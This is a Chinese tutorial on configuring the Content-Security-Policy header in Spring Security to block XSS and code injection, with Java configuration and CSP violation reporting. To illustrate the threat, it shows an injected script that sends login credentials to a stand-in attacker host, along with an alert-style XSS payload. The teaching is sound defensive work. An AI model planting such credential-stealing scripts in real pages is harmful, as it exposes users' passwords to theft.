知識庫 / Spring / Spring Security RSS 訂閱

Spring Security 中內容安全策略

Spring Security
HongKong
10
12:23 PM · Dec 06 ,2025

1. 概述

跨站腳本攻擊(XSS)持續位列十大最常見的網絡攻擊中。XSS攻擊發生在Web服務器在未對用户惡意輸入進行驗證或編碼的情況下,直接將其渲染到頁面上。與XSS攻擊一樣,代碼注入和點擊劫持通過竊取用户數據和冒充用户,對Web應用程序造成破壞。

在本教程中,讓我們學習如何使用內容安全策略(Content-Security-Policy) 頭部來緩解基於Spring Security的Web應用程序中的代碼注入風險。

2. 內容安全策略 (CSP)

內容安全策略 (CSP) 是一種 HTTP 響應頭,它顯著減少了諸如 XSS(跨站腳本攻擊)、點擊劫持 等代碼注入攻擊,在現代瀏覽器中發揮作用。

一個 Web 服務器通過 Content-Security-Policy 標頭指定允許瀏覽器渲染的資源列表。 這些資源可以是瀏覽器渲染的任何內容,例如 CSS、JavaScript、圖像等。

此標頭的語法如下:

Content-Security-Policy: <directive>; <directive>; <directive> ; ...

此外,我們還可以將此策略作為 HTML 頁面的 <em>meta< 標籤的一部分設置:

<meta http-equiv="Content-Security-Policy" content="<directive>;<directive>;<directive>; ...">

此外,這些 指令 都包含一個具有多個值的鍵。 可以有多個指令,每個指令之間用分號 (;) 隔開。

Content-Security-Policy: script-src 'self' https://baeldung.com; style-src 'self';

在這種情況下,我們有兩個指令(script-srcstyle-src),其中指令 script-src 具有兩個值(‘self’https://baeldung.com)。

3. 漏洞演示

現在,讓我們來看一個 XSS 和代碼注入漏洞可能造成的嚴重程度的例子。

3.1. 登錄表單

通常,在Web應用程序中,在會話超時時,我們會將用户重定向到登錄頁面。標準登錄表單包含用户名/密碼字段和提交按鈕:

<span> Session time out. Please login.</span>
<form id="login" action="/login">
    <input type="email" class="form-control" id="email">
    <input type="password" class="form-control" id="password">
    <button type="submit">Login</button>
</form>

3.2. 代碼注入

用户可以通過表單字段注入可疑代碼,在提供用户輸入時進行。例如,假設一個註冊表單中接受用户名的文本框。

用户可以輸入 `<em>script>alert(“this is not expected”)</script></em> 並提交表單。隨後,當表單顯示用户名時,它會執行該腳本(在本例中是彈出一個消息)。該腳本甚至可以加載外部腳本,從而造成更大的危害。

同樣,假設我們有未充分驗證的表單字段。用户再次利用這一點,將惡意 JavaScript 代碼注入到 DOM(文檔對象模型) 中:

<span> Session time out. Please login.</span>
<form id="login" action="/login">
    <input type="email" class="form-control" id="email">
    <input type="password" class="form-control" id="password">
    <button type="submit">Login</button> 
</form>
<script>
    let form= document.forms.login;
    form.action="https://youaredoomed.com:9090/collect?u="+document.getElementById('email').value
      +"&p="+document.getElementById('password').value;
</script>

這段注入的 JavaScript 代碼會在點擊 登錄按鈕時,將用户重定向到惡意網站。

當一個不知情的用户提交表單時,他會被重定向到 https://youaredoomed.com,其憑據暴露。

3.3. 演示

讓我們看看這種漏洞的實際效果。

通常,在會話超時後,服務器會將用户重定向到登錄頁面以輸入其憑據。但是,注入的惡意代碼會將用户及其憑據重定向到未預期的網站:

4. Spring Security

在本節中,我們將討論如何緩解這些代碼注入漏洞。

4.1. HTML <em >meta</em >> 標籤

在之前的示例中添加 <em >Content-Security-Policy</em >> 頭部將會阻止表單提交到惡意服務器。因此,我們使用 <em >meta</em >> 標籤添加此頭部並檢查其行為:

<meta http-equiv="Content-Security-Policy" content="form-action 'self';">

添加上述 meta 標籤可以防止瀏覽器將表單提交到其他源:

儘管 meta 標籤可以緩解 XSS 和代碼注入攻擊,但其功能有限。例如,我們不能使用 meta 標籤來報告 Content-Security-Policy 違規。

因此,我們應該利用 Spring Security 的強大功能,通過設置 Content-Security-Policy 標頭來減輕這些風險。

4.2. Maven 依賴

首先,我們將 Spring SecuritySpring Web 依賴添加到我們的 <em>pom.xml</em> 中:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

4.3. 配置

接下來,通過創建 SecurityFilterChain bean 來定義 Spring Security 配置:

@Configuration
public class ContentSecurityPolicySecurityConfiguration {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers(Customizer.withDefaults())
            .xssProtection(Customizer.withDefaults())
            .contentSecurityPolicy(contentSecurityPolicyConfig -> contentSecurityPolicyConfig.policyDirectives("form-action 'self'"));
        return http.build();
    }
}

在此,我們聲明瞭 contentSecurityPolicy 以限制表單操作僅限於同一源。

4.4. Content-Security-Policy 響應頭

在配置必要的安全設置後,讓我們驗證 Spring Security 提供提供的安全保障。為此,請打開瀏覽器的開發者工具(通過按 F12 或類似鍵),點擊“網絡”選項卡,並打開 URL http://localhost:8080

現在,我們將填寫表單並提交:

在 Content-Security-Policy 響應頭生效的情況下,瀏覽器會阻止提交請求並降低了泄露憑據的風險。

同樣,我們可以配置 Spring Security 以支持 不同的指令。例如,這段代碼指定瀏覽器僅從同一源加載腳本:

.contentSecurityPolicy("script-src 'self'");

同樣,我們也可以指示瀏覽器僅從同一來源下載 CSS,例如從 somecdn.css.com 下載:

.contentSecurityPolicy("style-src 'self' somecdn.css.com");

此外,我們還可以組合任何數量的指令到 Content-Security-Policy 標頭中。例如,為了限制 CSS、JS 和表單操作,我們可以指定:

.contentSecurityPolicy("style-src 'self' somecdn.css.com; script-src 'self'; form-action 'self'")

4.5. 報告

除了指示瀏覽器阻止惡意內容外,服務器還可以要求瀏覽器發送有關被阻止內容的報告。因此,我們將 report-uri 指令與其他指令結合使用,以便瀏覽器在內容被阻止時隨時向服務器發送 POST 請求。

瀏覽器會將以下內容發佈到 report-uri 中定義的 URL:

{
    "csp-report": {
        "blocked-uri": "",
        "document-uri": "",
        "original-policy": "",
        "referrer": "",
        "violated-directive": ""
    }
}

因此,我們需要定義一個接收來自瀏覽器的違規報告的 API,並記錄請求以供演示和清晰化。

**請注意,儘管指令 report-uri 已被棄用,取而代之的是 report-to,但大多數瀏覽器在當前版本中不支持 report-to。** 故我們將同時使用 report-urireport-to 指令進行報告。

首先,讓我們更新我們的 Spring Security 配置:

String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
http.csrf(AbstractHttpConfigurer::disable)
    .authorizeHttpRequests(authorizationManagerRequestMatcherRegistry -> authorizationManagerRequestMatcherRegistry.requestMatchers("/**").permitAll())
    .headers(httpSecurityHeadersConfigurer ->
                httpSecurityHeadersConfigurer
                       .addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
                       .xssProtection(Customizer.withDefaults())
                       .contentSecurityPolicy(contentSecurityPolicyConfig ->
                               contentSecurityPolicyConfig.policyDirectives("form-action 'self'; report-uri /report; report-to csp-violation-report")));

我們首先定義了一個 報告對象組,其中包含 跨站請求偽造報告,並關聯了一個端點。 接下來,作為 .contentSecurityPolicy 的一部分,我們使用該組名作為 報告對象 指令的值。

現在,當我們用瀏覽器打開頁面時,我們會看到:

接下來,我們填寫表單並點擊 登錄 按鈕。 就像預期的那樣,瀏覽器會阻止請求併發送報告。 在服務器控制枱中,我們有如下類似的日誌:

Report: {"csp-report":{"blocked-uri":"https://youaredoomed.com:9090/[email protected]&p=password","document-uri":"https://localhost:8080/","original-policy":"form-action 'self'; report-uri https://localhost:8080/report","referrer":"","violated-directive":"form-action"}}

這是格式化後的 JSON 報告:

{
    "csp-report": {
        "blocked-uri": "https://youaredoomed.com:9090/[email protected]&p=password",
	"document-uri": "https://localhost:8080/",
	"original-policy": "form-action 'self'; report-uri https://localhost:8080/report",
	"referrer": "",
	"violated-directive": "form-action"
    }
}

5. 結論

在本文中,我們瞭解到如何保護我們的 Web 應用程序免受點擊劫持、代碼注入和 XSS 攻擊的影響。

雖然無法完全防禦這些攻擊,但 <em >Content-Security-Policy</em> 頭部有助於緩解大部分攻擊。值得注意的是,截至目前,大多數現代瀏覽器對其不完全支持。因此,採用穩健的安全原則和標準來設計和構建應用程序至關重要。

user avatar
0 位用戶收藏了這個故事!
收藏

發佈 評論

Some HTML is okay.